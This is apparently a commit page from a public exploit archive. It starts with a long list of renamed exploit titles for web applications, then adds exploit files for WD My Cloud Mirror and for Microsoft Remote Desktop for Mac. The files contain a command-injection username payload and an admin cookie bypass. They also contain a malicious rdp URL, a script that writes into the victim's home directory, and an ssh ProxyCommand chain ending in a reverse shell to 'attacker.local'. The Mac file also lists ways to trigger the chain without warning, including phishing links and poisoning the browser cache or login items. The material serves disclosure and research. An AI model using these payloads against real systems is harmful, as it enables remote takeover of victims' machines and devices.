(results.php Cat_ID) SQL Injection VS PANEL 7.5.5 - 'results.php Cat_ID' SQL Injection WebVision 2.1 - (news.php n) SQL Injection WebVision 2.1 - 'news.php n' SQL Injection Silentum Guestbook 2.0.2 - (silentum_Guestbook.php) SQL Injection Silentum Guestbook 2.0.2 - 'silentum_Guestbook.php' SQL Injection Basilic 1.5.13 - (index.php idAuthor) SQL Injection Basilic 1.5.13 - 'index.php idAuthor' SQL Injection ProjectButler 1.5.0 - (pda_projects.php offset) Remote File Inclusion ProjectButler 1.5.0 - 'pda_projects.php offset' Remote File Inclusion Netpet CMS 1.9 - (confirm.php language) Local File Inclusion Netpet CMS 1.9 - 'confirm.php language' Local File Inclusion simplePHPWeb 0.2 - (files.php) Authentication Bypass simplePHPWeb 0.2 - 'files.php' Authentication Bypass Discloser 0.0.4-rc2 - (index.php more) SQL Injection Discloser 0.0.4-rc2 - 'index.php more' SQL Injection elgg 1.5 - (/_css/js.php) Local File Inclusion elgg 1.5 - '/_css/js.php' Local File Inclusion In-portal 4.3.1 - (index.php env) Local File Inclusion In-portal 4.3.1 - 'index.php env' Local File Inclusion E CMS 1.0 - (index.php s) SQL Injection E CMS 1.0 - 'index.php s' SQL Injection New5starRating 1.0 - (rating.php) SQL Injection New5starRating 1.0 - 'rating.php' SQL Injection Moa Gallery 1.2.0 - (index.php action) SQL Injection Moa Gallery 1.2.0 - 'index.php action' SQL Injection PAD Site Scripts 3.6 - (list.php string) SQL Injection PAD Site Scripts 3.6 - 'list.php string' SQL Injection PHPSANE 0.5.0 - (save.php) Remote File Inclusion PHPSANE 0.5.0 - 'save.php' Remote File Inclusion Modern Script 5.0 - (index.php s) SQL Injection Re-Script 0.99 Beta - (listings.php op) SQL Injection Modern Script 5.0 - 'index.php s' SQL Injection Re-Script 0.99 Beta - 'listings.php op' SQL Injection KingCMS 0.6.0 - (menu.php) Remote File Inclusion KingCMS 0.6.0 - 'menu.php' Remote File Inclusion Ve-EDIT 0.1.4 - (debug_PHP.php) Local File Inclusion Ve-EDIT 0.1.4 - 'debug_PHP.php' Local File Inclusion OBOphiX 2.7.0 - (fonctions_racine.php) Remote File Inclusion OBOphiX 2.7.0 - 'fonctions_racine.php' Remote File Inclusion PHPNagios 1.2.0 - (menu.php) Local File Inclusion PHPNagios 1.2.0 - 'menu.php' Local File Inclusion An image Gallery 1.0 - (navigation.php) Local Directory Traversal An image Gallery 1.0 - 'navigation.php' Local Directory Traversal Image voting 1.0 - (index.php show) SQL Injection Image voting 1.0 - 'index.php show' SQL Injection Aurora CMS 1.0.2 - (install.plugin.php) Remote File Inclusion Aurora CMS 1.0.2 - 'install.plugin.php' Remote File Inclusion efront 3.5.4 - (database.php path) Remote File Inclusion efront 3.5.4 - 'database.php path' Remote File Inclusion OpenSiteAdmin 0.9.7b - (pageHeader.php path) Remote File Inclusion OpenSiteAdmin 0.9.7b - 'pageHeader.php path' Remote File Inclusion ActiveBuyandSell 6.2 - (buyersend.asp catid) Blind SQL Injection ActiveBuyandSell 6.2 - 'buyersend.asp catid' Blind SQL Injection V.H.S. Booking - (hotel_habitaciones.php HotelID) SQL Injection V.H.S. Booking - 'hotel_habitaciones.php HotelID' SQL Injection Datenator 0.3.0 - (event.php id) SQL Injection Datenator 0.3.0 - 'event.php id' SQL Injection XlentCMS 1.0.4 - (downloads.php?cat) SQL Injection XlentCMS 1.0.4 - 'downloads.php?cat' SQL Injection Rezervi 3.0.2 - (mail.inc.php) Remote File Inclusion Rezervi 3.0.2 - 'mail.inc.php' Remote File Inclusion LightOpenCMS 0.1 - (smarty.php) Remote File Inclusion LightOpenCMS 0.1 - 'smarty.php' Remote File Inclusion ULoki Community Forum 2.1 - (usercp.php) Cross-Site Scripting ULoki Community Forum 2.1 - 'usercp.php' Cross-Site Scripting PHPCOIN 1.2.1 - (mod.php) SQL Injection PHPCOIN 1.2.1 - 'mod.php' SQL Injection PHPCOIN 1.2.1 - (mod.php) Local File Inclusion PHPCOIN 1.2.1 - 'mod.php' Local File Inclusion Anantasoft Gazelle CMS - Cross-Site Request Forgery Gazelle CMS - Cross-Site Request Forgery SiteX CMS 0.7.4 Beta - (/photo.php) SQL Injection SiteX CMS 0.7.4 Beta - '/photo.php' SQL Injection FCKEditor Core - (FileManager test.html) Arbitrary File Upload (1) FCKEditor Core - 'FileManager test.html' Arbitrary File Upload (1) WHMCS control (WHMCompleteSolution) - SQL Injection WHMCompleteSolution (WHMCS) control (WHMCompleteSolution) - SQL Injection WHMCS Control 2 - 'announcements.php' SQL Injection WHMCompleteSolution (WHMCS) Control 2 - 'announcements.php' SQL Injection tekno.Portal 0.1b - (makale.php id) SQL Injection tekno.Portal 0.1b - 'makale.php id' SQL Injection Heaven Soft CMS 4.7 - (photogallery_open.php) SQL Injection Heaven Soft CMS 4.7 - 'photogallery_open.php' SQL Injection Multi Vendor Mall - (itemdetail.php & shop.php) SQL Injection Multi Vendor Mall - 'itemdetail.php & shop.php' SQL Injection PPhlogger 2.2.5 - (trace.php) Remote Command Execution PPhlogger 2.2.5 - 'trace.php' Remote Command Execution Eyeland Studio Inc. - (game.php) SQL Injection Eyeland Studio Inc. - 'game.php' SQL Injection PHPDirector 0.30 - (videos.php) SQL Injection PHPDirector 0.30 - 'videos.php' SQL Injection PHPaaCMS 0.3.1 - (show.php?id=) SQL Injection PHPaaCMS 0.3.1 - 'show.php?id=' SQL Injection BS Business Directory - (articlesdetails.php) SQL Injection (PoC) BS Classifieds Ads - (articlesdetails.php) SQL Injection (PoC) BS Events Directory - (articlesdetails.php) SQL Injection (PoC) BS Business Directory - 'articlesdetails.php' SQL Injection (PoC) BS Classifieds Ads - 'articlesdetails.php' SQL Injection (PoC) BS Events Directory - 'articlesdetails.php' SQL Injection (PoC) Mayasan Portal 2.0 - (makaledetay.asp) SQL Injection Mayasan Portal 2.0 - (haberdetay.asp) SQL Injection Mayasan Portal 2.0 - 'makaledetay.asp' SQL Injection Mayasan Portal 2.0 - 'haberdetay.asp' SQL Injection PhotoPost PHP 4.6.5 - (ecard.php) SQL Injection PhotoPost PHP 4.6.5 - 'ecard.php' SQL Injection sNews 1.7 - (index.php?category) SQL Injection sNews 1.7 - 'index.php?category' SQL Injection Ananta Gazelle CMS - Multiple Vulnerabilities Gazelle CMS - Multiple Vulnerabilities CF Image Hosting Script 1.3 - (settings.cdb) Information Disclosure CF Image Hosting Script 1.3 - 'settings.cdb' Information Disclosure mBlogger 1.0.04 - (viewpost.php) SQL Injection mBlogger 1.0.04 - 'viewpost.php' SQL Injection mBlogger 1.0.04 - (addcomment.php) Persistent Cross-Site Scripting mBlogger 1.0.04 - 'addcomment.php' Persistent Cross-Site Scripting Chipmunk Board 1.3 - (index.php?forumID) SQL Injection Chipmunk Board 1.3 - 'index.php?forumID' SQL Injection SmarterMail 7.x - (7.2.3925) LDAP Injection SmarterMail 7.x (7.2.3925) - LDAP Injection xWeblog 2.2 - (oku.asp?makale_id) SQL Injection xWeblog 2.2 - (arsiv.asp tarih) SQL Injection xWeblog 2.2 - 'oku.asp?makale_id' SQL Injection xWeblog 2.2 - 'arsiv.asp tarih' SQL Injection FCKEditor Core 2.x 2.4.3 - (FileManager upload.php) Arbitrary File Upload FCKEditor Core 2.x 2.4.3 - 'FileManager upload.php' Arbitrary File Upload WebRCSdiff 0.9 - (viewver.php) Remote File Inclusion WebRCSdiff 0.9 - 'viewver.php' Remote File Inclusion Ananda Real Estate 3.4 - (list.asp) Multiple SQL Injection Ananda Real Estate 3.4 - 'list.asp' Multiple SQL Injection SquareCMS 0.3.1 - (post.php) SQL Injection SquareCMS 0.3.1 - 'post.php' SQL Injection PHP-AddressBook 6.2.4 - (group.php) SQL Injection PHP-AddressBook 6.2.4 - 'group.php' SQL Injection Ignition 1.3 - (page.php) Local File Inclusion Ignition 1.3 - 'page.php' Local File Inclusion AWBS 2.9.2 - (cart.php) Blind SQL Injection AWBS 2.9.2 - 'cart.php' Blind SQL Injection Woltlab Burning Board 2.3.6 Addon - (hilfsmittel.php) SQL Injection Woltlab Burning Board 2.3.6 Addon - 'hilfsmittel.php' SQL Injection WordPress Plugin PHP Speedy 0.5.2 - (admin_container.php) Remote Code Execution WordPress Plugin PHP Speedy 0.5.2 - 'admin_container.php' Remote Code Execution ilchClan 1.0.5 - (regist.php) SQL Injection ilchClan 1.0.5 - 'regist.php' SQL Injection OrangeHRM 2.6.3 - (PluginController.php) Local File Inclusion OrangeHRM 2.6.3 - 'PluginController.php' Local File Inclusion Traidnt UP 2.0 - (view.php) SQL Injection Traidnt UP 2.0 - 'view.php' SQL Injection osCommerce 2.3.1 - (banner_manager.php) Arbitrary File Upload osCommerce 2.3.1 - 'banner_manager.php' Arbitrary File Upload Extcalendar 2.0b2 - (cal_search.php) SQL Injection Extcalendar 2.0b2 - 'cal_search.php' SQL Injection WeBid 1.0.2 - (converter.php) Remote Code Execution WeBid 1.0.2 - 'converter.php' Remote Code Execution FCKEditor Core - (FileManager test.html) Arbitrary File Upload (2) FCKEditor Core - 'FileManager test.html' Arbitrary File Upload (2) MyBB Advanced Forum Signatures - (afsignatures-2.0.4) SQL Injection MyBB Advanced Forum Signatures - 'afsignatures-2.0.4' SQL Injection Ruubikcms 1.1.0 - (/extra/image.php) Local File Inclusion Ruubikcms 1.1.0 - '/extra/image.php' Local File Inclusion Dolphin 7.0.7 - (member_menu_queries.php) Remote PHP Code Injection Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection WHMCompleteSolution (WHMCS) 3.x.x < 4.0.x - (cart.php) Local File Disclosure WHMCompleteSolution (WHMCS) 3.x.x < 4.0.x - 'cart.php' Local File Disclosure CMSmini 0.2.2 - Local File Inclusion CMS mini 0.2.2 - Local File Inclusion WHMCS 3.x.x - (clientarea.php) Local File Disclosure ZenPhoto 1.4.1.4 - (ajax_create_folder.php) Remote Code Execution PHPMyFAQ 2.7.0 - (ajax_create_folder.php) Remote Code Execution aidiCMS 3.55 - (ajax_create_folder.php) Remote Code Execution WHMCompleteSolution (WHMCS) 3.x.x - 'clientarea.php' Local File Disclosure ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution PHPMyFAQ 2.7.0 - 'ajax_create_folder.php' Remote Code Execution aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution WordPress Plugin Zingiri 2.2.3 - (ajax_save_name.php) Remote Code Execution Support Incident Tracker 3.65 - (translate.php) Remote Code Execution WordPress Plugin Zingiri 2.2.3 - 'ajax_save_name.php' Remote Code Execution Support Incident Tracker 3.65 - 'translate.php' Remote Code Execution FreeWebShop 2.2.9 R2 - (ajax_save_name.php) Remote Code Execution FreeWebShop 2.2.9 R2 - 'ajax_save_name.php' Remote Code Execution Log1 CMS 2.0 - (ajax_create_folder.php) Remote Code Execution Log1 CMS 2.0 - 'ajax_create_folder.php' Remote Code Execution PmWiki 2.2.34 - (pagelist) Remote PHP Code Injection (2) (Metasploit) PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (2) (Metasploit) Tiki Wiki CMS Groupware 8.2 - (snarf_ajax.php) Remote PHP Code Injection Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection Mnews 1.1 - (view.php) SQL Injection Mnews 1.1 - 'view.php' SQL Injection appRain CMF 0.1.5 - (Uploadify.php) Unrestricted Arbitrary File Upload appRain CMF 0.1.5 - 'Uploadify.php' Unrestricted Arbitrary File Upload BASE 1.4.5 - (base_qry_main.php t_view) SQL Injection BASE 1.4.5 - 'base_qry_main.php t_view' SQL Injection Ananta Gazelle CMS - Update Statement SQL Injection Gazelle CMS 1.0 - Update Statement SQL Injection PHPFox 3.0.1 - (ajax.php) Remote Command Execution PHPFox 3.0.1 - 'ajax.php' Remote Command Execution OpenConf 4.11 - (author/edit.php) Blind SQL Injection OpenConf 4.11 - 'author/edit.php' Blind SQL Injection NewsAdd 1.0 - (lerNoticia.php id) SQL Injection Supernews 2.6.1 - (noticias.php cat) SQL Injection NewsAdd 1.0 - 'lerNoticia.php id' SQL Injection Supernews 2.6.1 - 'noticias.php cat' SQL Injection SN News 1.2 - (visualiza.php) SQL Injection SN News 1.2 - 'visualiza.php' SQL Injection PHPNet 1.8 - (ler.php) SQL Injection PHPNet 1.8 - 'ler.php' SQL Injection X-Cart Gold 4.5 - (products_map.php symb Parameter) Cross-Site Scripting X-Cart Gold 4.5 - 'products_map.php symb Parameter' Cross-Site Scripting Dell SonicWALL Scrutinizer 9.0.1 - (statusFilter.php q Parameter) SQL Injection Dell SonicWALL Scrutinizer 9.0.1 - 'statusFilter.php q Parameter' SQL Injection Symantec Web Gateway 5.0.2 - (blocked.php id Parameter) Blind SQL Injection Symantec Web Gateway 5.0.2 - 'blocked.php id Parameter' Blind SQL Injection Symantec Web Gateway 5.0.3.18 - (deptUploads_data.php groupid Parameter) Blind SQL Injection Symantec Web Gateway 5.0.3.18 - 'deptUploads_data.php groupid Parameter' Blind SQL Injection YourArcadeScript 2.4 - (index.php id Parameter) SQL Injection YourArcadeScript 2.4 - 'index.php id Parameter' SQL Injection vlinks 2.0.3 - (site.php id Parameter) SQL Injection vlinks 2.0.3 - 'site.php id Parameter' SQL Injection Blog Mod 0.1.9 - (index.php month Parameter) SQL Injection Blog Mod 0.1.9 - 'index.php month Parameter' SQL Injection MyBB Profile Albums Plugin 0.9 - (albums.php album Parameter) SQL Injection MyBB Profile Albums Plugin 0.9 - 'albums.php album Parameter' SQL Injection YeaLink IP Phone SIP-TxxP firmware 9.70.0.100 - Multiple Vulnerabilities YeaLink IP Phone SIP-TxxP Firmware 9.70.0.100 - Multiple Vulnerabilities Linksys WRT54GL (Firmware 4.30.15 build 2) - Multiple Vulnerabilities Linksys WRT54GL Firmware 4.30.15 build 2 - Multiple Vulnerabilities NConf 1.3 - (detail.php detail_admin_items.php id Parameter) SQL Injection NConf 1.3 - 'detail.php detail_admin_items.php id Parameter' SQL Injection DataLife Engine 9.7 - (preview.php) PHP Code Injection DataLife Engine 9.7 - 'preview.php' PHP Code Injection AdaptCMS 2.0.4 - (config.php question Parameter) SQL Injection AdaptCMS 2.0.4 - 'config.php question Parameter' SQL Injection CubeCart 5.2.0 - (cubecart.class.php) PHP Object Injection CubeCart 5.2.0 - 'cubecart.class.php' PHP Object Injection Piwigo 2.4.6 - (install.php) Arbitrary File Read/Delete Piwigo 2.4.6 - 'install.php' Arbitrary File Read/Delete OpenEMR 4.1.1 - (ofc_upload_image.php) Arbitrary File Upload OpenEMR 4.1.1 - 'ofc_upload_image.php' Arbitrary File Upload PHPMyRecipes 1.2.2 - (viewrecipe.php r_id Parameter) SQL Injection PHPMyRecipes 1.2.2 - 'viewrecipe.php r_id Parameter' SQL Injection MTP Image Gallery 1.0 - (edit_photos.php title Parameter) Cross-Site Scripting MTP Image Gallery 1.0 - 'edit_photos.php title Parameter' Cross-Site Scripting WordPress Plugin Count Per Day 3.2.5 - (counter.php) Cross-Site Scripting WordPress Plugin Count Per Day 3.2.5 - 'counter.php' Cross-Site Scripting AWS Xms 2.5 - (importer.php what Parameter) Directory Traversal Pollen CMS 0.6 - (index.php p Parameter) Local File Disclosure AWS Xms 2.5 - 'importer.php what Parameter' Directory Traversal Pollen CMS 0.6 - 'index.php p Parameter' Local File Disclosure WHMCS Group Pay Plugin 1.5 - (grouppay.php hash Parameter) SQL Injection WHMCompleteSolution (WHMCS) Group Pay Plugin 1.5 - 'grouppay.php hash Parameter' SQL Injection WHMCS 4.x - (invoicefunctions.php id Parameter) SQL Injection WHMCS 4.x - 'invoicefunctions.php id Parameter' SQL Injection AVE.CMS 2.09 - (index.php module Parameter) Blind SQL Injection AVE.CMS 2.09 - 'index.php module Parameter' Blind SQL Injection RadioCMS 2.2 - (menager.php playlist_id Parameter) SQL Injection RadioCMS 2.2 - 'menager.php playlist_id Parameter' SQL Injection NEXTWEB - (i)Site 'login.asp' SQL Injection NEXTWEB (i)Site - 'login.asp' SQL Injection Ruubikcms 1.1.1 - (tinybrowser.php folder Parameter) Directory Traversal Ruubikcms 1.1.1 - 'tinybrowser.php folder Parameter' Directory Traversal Simple PHP Agenda 2.2.8 - (edit_event.php eventid Parameter) SQL Injection Simple PHP Agenda 2.2.8 - 'edit_event.php eventid Parameter' SQL Injection Top Games Script 1.2 - (play.php gid Parameter) SQL Injection Top Games Script 1.2 - 'play.php gid Parameter' SQL Injection Elemata CMS RC3.0 - (global.php id Parameter) SQL Injection Elemata CMS RC3.0 - 'global.php id Parameter' SQL Injection PHP-Charts 1.0 - (index.php type Parameter) Remote Code Execution PHP-Charts 1.0 - 'index.php type Parameter' Remote Code Execution PHPSlash 0.8.1 - article.php SQL Injection PHPSlash 0.8.1 - 'article.php' SQL Injection Telmanik CMS Press 1.01b - (pages.php page_name Parameter) SQL Injection Telmanik CMS Press 1.01b - 'pages.php page_name Parameter' SQL Injection glFusion 1.3.0 - (search.php cat_id Parameter) SQL Injection glFusion 1.3.0 - 'search.php cat_id Parameter' SQL Injection Vtiger CRM 5.4.0 - (index.php onlyforuser Parameter) SQL Injection Vtiger CRM 5.4.0 - 'index.php onlyforuser Parameter' SQL Injection XAMPP 1.8.1 - (lang.php WriteIntoLocalDisk method) Local Write Access XAMPP 1.8.1 - 'lang.php WriteIntoLocalDisk method' Local Write Access WHMCS 5.2.7 - SQL Injection WHMCompleteSolution (WHMCS) 5.2.7 - SQL Injection PHPList 2.10.2 - 'index.php' Cross-Site Scripting phpList 2.10.2 - 'index.php' Cross-Site Scripting Dolibarr ERP/CMS 3.4.0 - (exportcsv.php sondage Parameter) SQL Injection Dolibarr ERP/CMS 3.4.0 - 'exportcsv.php sondage Parameter' SQL Injection WHMCS 5.2.8 - SQL Injection WHMCompleteSolution (WHMCS) 5.2.8 - SQL Injection Vanilla Forums 2.0 < 2.0.18.5 - (class.utilitycontroller.php) PHP Object Injection Vanilla Forums 2.0 < 2.0.18.5 - 'class.utilitycontroller.php' PHP Object Injection Project'Or RIA 3.4.0 - (objectDetail.php objectId Parameter) SQL Injection Project'Or RIA 3.4.0 - 'objectDetail.php objectId Parameter' SQL Injection Chamilo Lms 1.9.6 - (profile.php password0 Parameter) SQL Injection Dokeos 2.2 RC2 - (index.php language Parameter) SQL Injection Chamilo Lms 1.9.6 - 'profile.php password0 Parameter' SQL Injection Dokeos 2.2 RC2 - 'index.php language Parameter' SQL Injection WHMCS 4.x / 5.x - Multiple Web Vulnerabilities WHMCompleteSolution (WHMCS) 4.x / 5.x - Multiple Web Vulnerabilities SiteBar 3.3.8 - (translator.php) upd cmd Action edit Variable Arbitrary PHP Code Execution SiteBar 3.3.8 - 'translator.php' upd cmd Action edit Variable Arbitrary PHP Code Execution osCommerce 2.3.3.4 - (geo_zones.php zID Parameter) SQL Injection osCommerce 2.3.3.4 - 'geo_zones.php zID Parameter' SQL Injection Concrete5 5.6.2.1 - (index.php cID Parameter) SQL Injection Concrete5 5.6.2.1 - 'index.php cID Parameter' SQL Injection D-Link DIR-615 Hardware vE4 Firmware v5.10 - Cross-Site Request Forgery D-Link DIR-615 Hardware vE4 Firmware 5.10 - Cross-Site Request Forgery WordPress Plugin AdRotate 3.9.4 - (clicktracker.php track Parameter) SQL Injection WordPress Plugin AdRotate 3.9.4 - 'clicktracker.php track Parameter' SQL Injection Chipmunk Blog - members.php membername Parameter Cross-Site Scripting Chipmunk Blog - comments.php membername Parameter Cross-Site Scripting Chipmunk Blog - photos.php membername Parameter Cross-Site Scripting Chipmunk Blog - archive.php membername Parameter Cross-Site Scripting Chipmunk Blog - cat.php membername Parameter Cross-Site Scripting Chipmunk Blog - 'members.php' Cross-Site Scripting Chipmunk Blog - 'comments.php' Cross-Site Scripting Chipmunk Blog - 'photos.php' Cross-Site Scripting Chipmunk Blog - 'archive.php' Cross-Site Scripting Chipmunk Blog - 'cat.php' Cross-Site Scripting webERP 4.11.3 - (SalesInquiry.php SortBy Parameter) SQL Injection webERP 4.11.3 - 'SalesInquiry.php SortBy Parameter' SQL Injection ownCloud 4.0.x/4.5.x - (upload.php Filename Parameter) Remote Code Execution ownCloud 4.0.x/4.5.x - 'upload.php Filename Parameter' Remote Code Execution InterWorx Control Panel 5.0.13 build 574 - (xhr.php i Parameter) SQL Injection InterWorx Control Panel 5.0.13 build 574 - 'xhr.php i Parameter' SQL Injection kitForm CRM Extension 0.43 - (sorter.php sorter_value Parameter) SQL Injection kitForm CRM Extension 0.43 - 'sorter.php sorter_value Parameter' SQL Injection dompdf 0.6.0 - (dompdf.php read Parameter) Arbitrary File Read dompdf 0.6.0 - 'dompdf.php read Parameter' Arbitrary File Read ArticleFR 11.06.2014 - (data.php) Privilege Escalation ArticleFR 11.06.2014 - 'data.php' Privilege Escalation vBulletin 4.0.x < 4.1.2 - (search.php cat Parameter) SQL Injection vBulletin 4.0.x < 4.1.2 - 'search.php cat Parameter' SQL Injection Bacula-Web 5.2.10 - (joblogs.php jobid Parameter) SQL Injection Bacula-Web 5.2.10 - 'joblogs.php jobid Parameter' SQL Injection net2ftp 0.98 - (stable) 'admin1.template.php' Local File Inclusion / Remote File Inclusion net2ftp 0.98 (stable) - 'admin1.template.php' Local File Inclusion / Remote File Inclusion Piwigo 2.6.0 - (picture.php rate Parameter) SQL Injection Piwigo 2.6.0 - 'picture.php rate Parameter' SQL Injection PHPMyRecipes 1.2.2 - (dosearch.php words_exact Parameter) SQL Injection PHPMyRecipes 1.2.2 - 'dosearch.php words_exact Parameter' SQL Injection Anantasoft Gazelle CMS 1.0 - Cross-Site Scripting / SQL Injection Gazelle CMS 1.0 - Cross-Site Scripting / SQL Injection PHPMyRecipes 1.2.2 - (browse.php category Parameter) SQL Injection PHPMyRecipes 1.2.2 - 'browse.php category Parameter' SQL Injection u5CMS 3.9.3 - (deletefile.php) Arbitrary File Deletion u5CMS 3.9.3 - 'deletefile.php' Arbitrary File Deletion WordPress Plugin Freshmail 1.5.8 - (shortcode.php) SQL Injection WordPress Plugin Freshmail 1.5.8 - 'shortcode.php' SQL Injection CreateVision CreateVision CMS - 'id' Parameter SQL Injection CreateVision CMS - 'id' Parameter SQL Injection PHPCollab 2.5 - (deletetopics.php) SQL Injection PHPCollab 2.5 - 'deletetopics.php' SQL Injection Acuity CMS 2.6.2 - (ASP) '/admin/file_manager/file_upload_submit.asp' Multiple Parameter Arbitrary File Upload / Code Execution Acuity CMS 2.6.2 - '/admin/file_manager/file_upload_submit.asp' Multiple Parameter Arbitrary File Upload / Code Execution WHMCS - 'boleto_bb.php' SQL Injection WHMCompleteSolution (WHMCS) - 'boleto_bb.php' SQL Injection PHPList 2.10.9 - 'Sajax.php' PHP Code Injection phpList 2.10.9 - 'Sajax.php' PHP Code Injection WHMCompleteSolution - (WHMCS) 5.0 'KnowledgeBase.php' search Parameter Cross-Site Scripting WHMCompleteSolution (WHMCS) 5.0 - 'KnowledgeBase.php' search Parameter Cross-Site Scripting FCKEditor Core - (Editor 'spellchecker.php') Cross-Site Scripting FCKEditor Core - 'Editor 'spellchecker.php'' Cross-Site Scripting PHPList 2.10.18 - 'index.php' SQL Injection phpList 2.10.18 - 'index.php' SQL Injection WHMCS 4.5.2 - 'googlecheckout.php' SQL Injection WHMCompleteSolution (WHMCS) 4.5.2 - 'googlecheckout.php' SQL Injection SolarWinds Orion IP Address Manager - (IPAM) 'search.aspx' Cross-Site Scripting SolarWinds Orion IP Address Manager (IPAM) - 'search.aspx' Cross-Site Scripting PHP gettext 1.0.12 - (gettext.php) Unauthenticated Code Execution PHP gettext 1.0.12 - 'gettext.php' Unauthenticated Code Execution WHMCS Addon VMPanel 2.7.4 - SQL Injection WHMCompleteSolution (WHMCS) Addon VMPanel 2.7.4 - SQL Injection WD My Cloud Mirror 2.11.153 - Authentication Bypass / Remote Code Execution MyBB < 1.8.3 (with PHP 5.6 < 5.6.11) - Remote Code Execution
This commit is contained in:
Offensive Security
parent
5c20fdffaa
commit
763b417a35
7 changed files with 1683 additions and 892 deletions
27
platforms/hardware/webapps/41147.txt
Executable file
27
platforms/hardware/webapps/41147.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
|||
# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
|
||||
# Date: 24.01.2017
|
||||
# Software Link: https://www.wdc.com
|
||||
# Exploit Author: Kacper Szurek
|
||||
# Contact: https://twitter.com/KacperSzurek
|
||||
# Website: https://security.szurek.pl/
|
||||
# Category: local
|
||||
|
||||
1. Description
|
||||
|
||||
It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.
|
||||
|
||||
It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.
|
||||
|
||||
https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
For RCE simply use as username:
|
||||
|
||||
a" || your_command_to_execute || "
|
||||
|
||||
For authentication bypass set COOKIES:
|
||||
|
||||
username=1; isAdmin=1
|
||||
|
||||
and then visit for example php/users.php
|
||||
104
platforms/osx/local/41149.txt
Executable file
104
platforms/osx/local/41149.txt
Executable file
|
|
@ -0,0 +1,104 @@
|
|||
## Description
|
||||
A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.
|
||||
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.
|
||||
|
||||
## Details
|
||||
Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.
|
||||
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directory.
|
||||
|
||||
Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.
|
||||
|
||||
According to Microsoft, no CVE will be assigned due to the release model of this particular client.
|
||||
|
||||
A demo video is available at https://youtu.be/6HeSiXYRpNY.
|
||||
|
||||
## Proof Of Concept
|
||||
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.
|
||||
To reproduce the issue follow the steps below:
|
||||
|
||||
- install a windows 2008 server and allow Administrator to connect without password
|
||||
- login as Administrator
|
||||
- configure a trusted ssl certificate for rdp connections
|
||||
- install python2.7 and put the following script in the "Startup" folder
|
||||
- logout
|
||||
- send the link below to a victim
|
||||
RDC link:
|
||||
|
||||
```
|
||||
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator
|
||||
```
|
||||
|
||||
|
||||
### Python script
|
||||
|
||||
```
|
||||
#BOF
|
||||
import sys
|
||||
import subprocess
|
||||
import time
|
||||
import os
|
||||
|
||||
def runcmd(cmd):
|
||||
err = None
|
||||
out = None
|
||||
try:
|
||||
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);
|
||||
out, err = process.communicate()
|
||||
except Exception as e:
|
||||
print str(e)
|
||||
|
||||
return out
|
||||
|
||||
|
||||
while(True):
|
||||
netuse = runcmd("net use")
|
||||
if netuse.find("TSCLIENT"):
|
||||
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')
|
||||
|
||||
runcmd('md c:\\home\\REMOTE')
|
||||
|
||||
runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')
|
||||
|
||||
runcmd("shutdown /l /f")
|
||||
break
|
||||
|
||||
time.sleep(0.4)
|
||||
#EOF
|
||||
```
|
||||
|
||||
## Remote Code Execution
|
||||
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.
|
||||
Consider the following example where the RDC exploit pushes the following files on the remote machine:
|
||||
|
||||
- `~/.ssh/known_hosts`
|
||||
```
|
||||
p ssh-rsa AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
```
|
||||
- `~/.ssh/config`
|
||||
```
|
||||
Host p
|
||||
HostName p
|
||||
ProxyCommand /bin/bash ~/.ssh/command.sh
|
||||
```
|
||||
- `~/.ssh/command.sh`
|
||||
```
|
||||
for a in {1..31}; do trap "" $a; done
|
||||
nohup bash -i >& /dev/tcp/attacker.local/1234 0 &
|
||||
```
|
||||
|
||||
At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/command.sh without any warning. To automatically execute the triggering URL (ssh://p) we can either:
|
||||
|
||||
- send the link to the victim via Mail or iMessage
|
||||
- poison Safari cache adding some javascript that launches the URL
|
||||
- poison Safari "Application Saved State" so that the URL il launched at browser execuition
|
||||
- poison "loginitems" to launch the URL at system startup
|
||||
|
||||
It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.
|
||||
|
||||
## Update
|
||||
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working.
|
||||
This fix is mentioned in the Apple Store:
|
||||
This update fixes an issue where a website could repeately attempt to launch other websites or applications
|
||||
|
||||
## Solution
|
||||
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.
|
||||
219
platforms/php/webapps/41150.txt
Executable file
219
platforms/php/webapps/41150.txt
Executable file
|
|
@ -0,0 +1,219 @@
|
|||
